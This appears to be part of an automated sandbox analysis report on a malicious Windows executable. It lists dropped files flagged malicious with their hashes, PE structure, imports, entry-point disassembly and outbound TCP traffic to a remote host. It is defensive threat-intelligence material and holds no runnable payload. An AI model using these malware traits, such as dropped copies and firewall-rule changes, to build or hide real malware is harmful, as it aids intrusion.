Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BFBD.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	321024
Entropy (8bit):	6.6910111765717115
Encrypted:	false
SSDEEP:	6144:1dNi2kGfRHG5p1JX9BnaPGMq3yvNITJwD3EsG1ALc:XNsGfIfnpBCvuJw4sG+
MD5:	5C7B46771055043F59E0451A342B7ED1
SHA1:	5362AF084622DC8EFC661C703D4C7C5DD6839BE1
SHA-256:	0245C82558329CFD8EF5EF901E4929075D4D873BA20D9704731758580CAED7BE
SHA-512:	F16FDD7212BC64F05EF67B41E29DD8966645B7FA0E7D78E8883503503A3589A090C54846500925F17B8DD1D133E1F5BB37BBDE16F3E5C50864847C17F7DF2C06
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L.....h_.........................................@.................................1...........................................P.......(...............................................................@...............L............................text............................... ..`.data...............................@....zafif..............................@....naladin............................@....ger................................@....rsrc...(...........................@..@.reloc..ZF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FC2A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\3136.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13666304
Entropy (8bit):	3.7861536709741657
Encrypted:	false
SSDEEP:	6144:4vrN0pZXR3Srrj51BawxgIKP184NSWd2hQAjh3C:KrN0vR36TBHLY1JSWMQAt
MD5:	5C50CF4AF77D12BF94B3FC09437C8B16
SHA1:	C3D531F3C72F96EFCB00F932E744859755E88E54
SHA-256:	43EF54A754F54F17F38D5D6AC207B1EF17953FD742A18124CCD2423E7E01B6F8
SHA-512:	592FA7679DE8F8673287088C175EA7EB4D035B589F71C060F0151BF37FA4B55C13A96B8B214F26538768C1F64B891A9E5B7DFBF7481274F327C8CBC31518B296
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L.....}`..........................................@........................................................................4...P.......(........................................................... ...@...............L............................text............................... ..`.data...............................@....yocinoj............................@....lebe...............................@....wuno...............................@....rsrc...(...........................@..@.reloc..ZF..........................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\vfgiwcs Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	321024
Entropy (8bit):	6.6910111765717115
Encrypted:	false
SSDEEP:	6144:1dNi2kGfRHG5p1JX9BnaPGMq3yvNITJwD3EsG1ALc:XNsGfIfnpBCvuJw4sG+
MD5:	5C7B46771055043F59E0451A342B7ED1
SHA1:	5362AF084622DC8EFC661C703D4C7C5DD6839BE1
SHA-256:	0245C82558329CFD8EF5EF901E4929075D4D873BA20D9704731758580CAED7BE
SHA-512:	F16FDD7212BC64F05EF67B41E29DD8966645B7FA0E7D78E8883503503A3589A090C54846500925F17B8DD1D133E1F5BB37BBDE16F3E5C50864847C17F7DF2C06
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L.....h_.........................................@.................................1...........................................P.......(...............................................................@...............L............................text............................... ..`.data...............................@....zafif..............................@....naladin............................@....ger................................@....rsrc...(...........................@..@.reloc..ZF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\vfgiwcs:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220115_050436_607.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.375971674018937
Encrypted:	false
SSDEEP:	96:VC5Hf/o+Wco5dyE9P/YsZACXxFI2lQGgkhnp4vezT2AjFzONMCidJRRj5N:M98Hpg2wuPCCP
MD5:	8306EA709D3745A390765D410EC31DAE
SHA1:	936DBE90F785ED33F45FC201D7BC814E11F5308F
SHA-256:	1A86E818169EEE39C19C4CF088EE777782FC15A652CF287228B748F4284CA90A
SHA-512:	59D2CBB5C9474B7E46D1A590DD67BFAB68A7CBBDA7B966EAF00A10A121E50F97C655088108B74EB357685E99E347243B4A8905A224423279B5E9710F8C145CCC
Malicious:	false
Reputation:	unknown
Preview:	.... ... ....................................... ...!...............................(............................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... .....0.~d............8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.2.0.1.1.5._.0.5.0.4.3.6._.6.0.7...e.t.l.........P.P.....(...........................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13666304
Entropy (8bit):	3.7861536709741657
Encrypted:	false
SSDEEP:	6144:4vrN0pZXR3Srrj51BawxgIKP184NSWd2hQAjh3C:KrN0vR36TBHLY1JSWMQAt
MD5:	5C50CF4AF77D12BF94B3FC09437C8B16
SHA1:	C3D531F3C72F96EFCB00F932E744859755E88E54
SHA-256:	43EF54A754F54F17F38D5D6AC207B1EF17953FD742A18124CCD2423E7E01B6F8
SHA-512:	592FA7679DE8F8673287088C175EA7EB4D035B589F71C060F0151BF37FA4B55C13A96B8B214F26538768C1F64B891A9E5B7DFBF7481274F327C8CBC31518B296
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L.....}`..........................................@........................................................................4...P.......(........................................................... ...@...............L............................text............................... ..`.data...............................@....yocinoj............................@....lebe...............................@....wuno...............................@....rsrc...(...........................@..@.reloc..ZF..........................@..B................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.262263551383356
Encrypted:	false
SSDEEP:	12288:73ZKSZjdY1Nuot+yrYLwOFZcgSiIb7uMCTi3xzM2gdGX+oNU6iD+EVEV:7ZKSZjdY1Nuot+ybcY9V
MD5:	BFF50EE8D271FF908B21241B2424A1E1
SHA1:	67996C2F184A7B329E2C68781E7E354EB781D2FA
SHA-256:	2881D8D250821B2B44ECA36D4FCAF909B998042A74FDBA62CEC164AFDCA8AE1E
SHA-512:	72EA7560877C003AA5AF36379C5453EB6A18C6F30C67039B98EF38E2D98E980DC0E1A0F32D6035E31E454E707CC194DB77052E1CF5F55C319295381DB7B600BE
Malicious:	false
Reputation:	unknown
Preview:	regfQ...Q...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtmr.*x..................................................................................................................................................................................................................................................................................................................................................!%........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	3.7779067348278756
Encrypted:	false
SSDEEP:	384:AkQAO25/ZrdtdXp55Qp8cXQnxOf2onPmxwpa5GjZmGhODTTV85N5i9zwbCeT:PPBr5XpEpQgf2o+xwpGWmGh0TVoN5kzE
MD5:	953434AD47F5C2003B186C7B2E817D4F
SHA1:	8568DEEB4E58E4CA8B05A9A8F870BC26F185A58A
SHA-256:	ABB8237331BB32B29B72BC2DB4133432D9C4B42C16ACB4D87D26B3DC4DB08E37
SHA-512:	03F8F26709DA5A97B466E784B96CC67F86B1D875CDCFDD558010CDFF168C42534F726059AC2FAC036F2789A931B59FFE8B95FDE2A2D7E83116ECBB4461930EE9
Malicious:	false
Reputation:	unknown
Preview:	regfP...P...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtmr.x..................................................................................................................................................................................................................................................................................................................................................!%HvLE.^......P............}vp8.EJ.W!I.).Q............................. ..hbin................p.\..,..........nk,.s.x.................................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk .s.x........ ...........P............... .......Z.......................Root........lf......Root....nk .s.x.....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3773
Entropy (8bit):	4.7109073551842435
Encrypted:	false
SSDEEP:	48:VHILZNfrI7WFY32iIiNOmV/HToZV9It199hiALlIg39bWA1RvTBi/g2eB:VoLr0y9iIiNOoHTou7bhBlIydWALLt2w
MD5:	DA3247A302D70819F10BCEEBAF400503
SHA1:	2857AA198EE76C86FC929CC3388A56D5FD051844
SHA-256:	5262E1EE394F329CD1F87EA31BA4A396C4A76EDC3A87612A179F81F21606ABC8
SHA-512:	48FFEC059B4E88F21C2AA4049B7D9E303C0C93D1AD771E405827149EDDF986A72EF49C0F6D8B70F5839DCDBD6B1EA8125C8B300134B7F71C47702B577AD090F8
Malicious:	false
Reputation:	unknown
Preview:	..A specified value is not valid.....Usage: add rule name=<string>.. dir=in\|out.. action=allow\|block\|bypass.. [program=<program path>].. [service=<service short name>\|any].. [description=<string>].. [enable=yes\|no (default=yes)].. [profile=public\|private\|domain\|any[,...]].. [localip=any\|<IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [remoteip=any\|localsubnet\|dns\|dhcp\|wins\|defaultgateway\|.. <IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [localport=0-65535\|<port range>[,...]\|RPC\|RPC-EPMap\|IPHTTPS\|any (default=any)].. [remoteport=0-65535\|<port range>[,...]\|any (default=any)].. [protocol=0-255\|icmpv4\|icmpv6\|icmpv4:type,code\|icmpv6:type,code\|.. tcp\|udp\|any (default=any)].. [interfacetype=wireless\|lan\|ras\|any].. [rmtcomputergrp=<SDDL string>].. [rmtusrgrp=<SDDL string>].. [edge=yes\|deferapp\|deferuser\|no (default=no)].. [security=authenticate\|authenc\|authdynenc\|authnoencap\|

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.6910111765717115
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	OG9rNsihJ7.exe
File size:	321024
MD5:	5c7b46771055043f59e0451a342b7ed1
SHA1:	5362af084622dc8efc661c703d4c7c5dd6839be1
SHA256:	0245c82558329cfd8ef5ef901e4929075d4d873ba20d9704731758580caed7be
SHA512:	f16fdd7212bc64f05ef67b41e29dd8966645b7fa0e7d78e8883503503a3589a090c54846500925f17b8dd1d133e1f5bb37bbde16f3e5c50864847c17f7df2c06
SSDEEP:	6144:1dNi2kGfRHG5p1JX9BnaPGMq3yvNITJwD3EsG1ALc:XNsGfIfnpBCvuJw4sG+
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,...~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L.....h_...........................

File Icon


Icon Hash:	c8d0d8e0f0e0e4e0

Static PE Info

General
Entrypoint:	0x41b5e0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F68D411 [Mon Sep 21 16:25:53 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6801e04a0c2ca60ac2497c0d8723846b

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F7D5CDB513Bh
call 00007F7D5CDA80B6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043DBD8h
push 0041E7C0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00440354h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0040109Ch]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F7D5CDA80C8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F7D5CDA81F7h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F7D5CDA8234h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F7D5CDB5B1Ah
add esp, 04h
test eax, eax
jne 00007F7D5CDA80ACh
push 0000001Ch
call 00007F7D5CDA81ECh
add esp, 04h
call 00007F7D5CDB1194h
test eax, eax
jne 00007F7D5CDA80ACh
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e304	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x150000	0x8728	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x159000	0x1df4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x13a0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9100	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x34c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3e6be	0x3e800	False	0.58234375	data	6.96452184589	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x40000	0x10c988	0x1800	False	0.340494791667	data	3.46807929414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.zafif	0x14d000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.naladin	0x14e000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ger	0x14f000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x150000	0x8728	0x8800	False	0.594841452206	data	5.84519780089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x159000	0x465a	0x4800	False	0.346137152778	data	3.69349629733	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x157048	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157040	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157050	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157058	0x2	data	Dutch	Netherlands
CIDAFICUDUROSOTAROM	0x156628	0x6c7	ASCII text, with very long lines, with no line terminators	Assamese	India
VIDIWAYAPENIGU	0x156cf0	0x2fa	ASCII text, with very long lines, with no line terminators	Assamese	India
RT_CURSOR	0x157060	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Dutch	Netherlands
RT_ICON	0x150740	0x6c8	data	Assamese	India
RT_ICON	0x150e08	0x568	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x151370	0x10a8	data	Assamese	India
RT_ICON	0x152418	0x988	dBase III DBT, version number 0, next free block index 40	Assamese	India
RT_ICON	0x152da0	0x468	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x153258	0x8a8	data	Assamese	India
RT_ICON	0x153b00	0x6c8	data	Assamese	India
RT_ICON	0x1541c8	0x568	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x154730	0x10a8	data	Assamese	India
RT_ICON	0x1557d8	0x988	data	Assamese	India
RT_ICON	0x156160	0x468	GLS_BINARY_LSB_FIRST	Assamese	India
RT_STRING	0x157920	0xe4	data	Dutch	Netherlands
RT_STRING	0x157a08	0x3bc	data	Dutch	Netherlands
RT_STRING	0x157dc8	0x6e6	data	Dutch	Netherlands
RT_STRING	0x1584b0	0x1a0	data	Dutch	Netherlands
RT_STRING	0x158650	0xd8	data	Dutch	Netherlands
RT_ACCELERATOR	0x157000	0x10	data	Dutch	Netherlands
RT_ACCELERATOR	0x156ff0	0x10	data	Dutch	Netherlands
RT_GROUP_CURSOR	0x157908	0x14	data	Dutch	Netherlands
RT_GROUP_ICON	0x153208	0x4c	data	Assamese	India
RT_GROUP_ICON	0x1565c8	0x5a	data	Assamese	India
None	0x157020	0xa	data	Dutch	Netherlands
None	0x157030	0xa	data	Dutch	Netherlands
None	0x157010	0xa	data	Dutch	Netherlands

Imports

DLL	Import
KERNEL32.dll	DeactivateActCtx, GetVersionExW, SetConsoleCP, GetConsoleAliasesLengthA, GetDefaultCommConfigA, FindFirstFileExW, GetDriveTypeA, FreeEnvironmentStringsA, SetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameW, CopyFileA, TlsGetValue, GetConsoleCursorInfo, SetComputerNameExA, SystemTimeToTzSpecificLocalTime, FindAtomA, ReleaseSemaphore, CallNamedPipeA, CreateMailslotA, BuildCommDCBAndTimeoutsW, VirtualProtect, LoadLibraryA, LocalAlloc, TryEnterCriticalSection, GetCommandLineW, InterlockedDecrement, GetCalendarInfoA, DeleteFileA, CreateActCtxW, CreateRemoteThread, SetSystemTimeAdjustment, SetPriorityClass, WritePrivateProfileStringW, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoW, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryW, GetSystemWow64DirectoryW, GetLastError, GetProfileStringW, WriteProfileSectionW, GetProfileStringA, SetLastError, DeleteVolumeMountPointA, DebugBreak, lstrcmpA, ReadFileScatter, SetConsoleMode, GetVersion, GetSystemWindowsDirectoryW, GlobalFindAtomA, FindCloseChangeNotification, GetTapeParameters, SetMailslotInfo, InterlockedExchange, DefineDosDeviceW, FindVolumeMountPointClose, EndUpdateResourceA, WriteConsoleA, GetSystemTimeAdjustment, WritePrivateProfileSectionA, GetPrivateProfileStructW, GetFileAttributesExA, MoveFileW, GetVolumePathNameA, HeapUnlock, lstrcmpW, SetDefaultCommConfigW, GetExitCodeProcess, ResetEvent, GetThreadContext, MoveFileExW, GetProcAddress, GlobalLock, UnregisterWaitEx, BuildCommDCBW, PeekConsoleInputW, GetBinaryTypeW, CreateSemaphoreW, TransmitCommChar, WaitNamedPipeA, GetOverlappedResult, GetPrivateProfileSectionNamesW, FindResourceExW, EnumTimeFormatsW, GetLocalTime, CreateSemaphoreA, FreeEnvironmentStringsW, GetPrivateProfileSectionW, SetFileShortNameA, lstrcpyA, VerLanguageNameW, SetThreadExecutionState, SetSystemTime, LockFile, VerSetConditionMask, GetConsoleAliasA, FlushConsoleInputBuffer, FreeConsole, GetAtomNameW, GetConsoleAliasExesLengthA, WriteConsoleInputW, TransactNamedPipe, EnumDateFormatsA, SetCommState, FileTimeToLocalFileTime, _lopen, GetConsoleAliasExesLengthW, GetWriteWatch, GetModuleHandleW, WriteConsoleOutputCharacterA, GetConsoleMode, HeapFree, OpenMutexA, LocalLock, GetCommMask, SetEndOfFile, FindClose, CreateIoCompletionPort, SetFileApisToANSI, CancelWaitableTimer, GetProcessHandleCount, UnregisterWait, GetConsoleAliasesLengthW, GetCurrentProcessId, lstrcpynA, SetNamedPipeHandleState, GetCompressedFileSizeA, FindNextVolumeMountPointW, GetFullPathNameA, WriteProfileStringA, DeleteAtom, GlobalAddAtomW, AssignProcessToJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32NextW, SetCurrentDirectoryA, GetBinaryTypeA, FindActCtxSectionGuid, TerminateProcess, MoveFileA, RaiseException, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, GetModuleHandleA, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InterlockedIncrement, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, Sleep, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree, GetModuleFileNameA, WriteFile, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, WideCharToMultiByte, LCMapStringA, LCMapStringW, GetLocaleInfoA, SetFilePointer, GetConsoleCP, FlushFileBuffers, SetStdHandle, GetConsoleOutputCP, CloseHandle, CreateFileA
USER32.dll	OemToCharA
ADVAPI32.dll	GetFileSecurityA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
Assamese	India

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 21:04:56.168064117 CET	49767	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.185524940 CET	80	49767	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.185648918 CET	49767	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.185808897 CET	49767	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.185820103 CET	49767	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.203051090 CET	80	49767	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.304933071 CET	80	49767	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.305088997 CET	49767	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.307782888 CET	49767	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.325697899 CET	80	49767	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.341706038 CET	49768	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.358999014 CET	80	49768	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.359935045 CET	49768	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.360157013 CET	49768	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.360200882 CET	49768	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.377290964 CET	80	49768	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.482292891 CET	80	49768	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.482412100 CET	49768	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.482448101 CET	49768	80	192.168.2.5	8.209.70.0
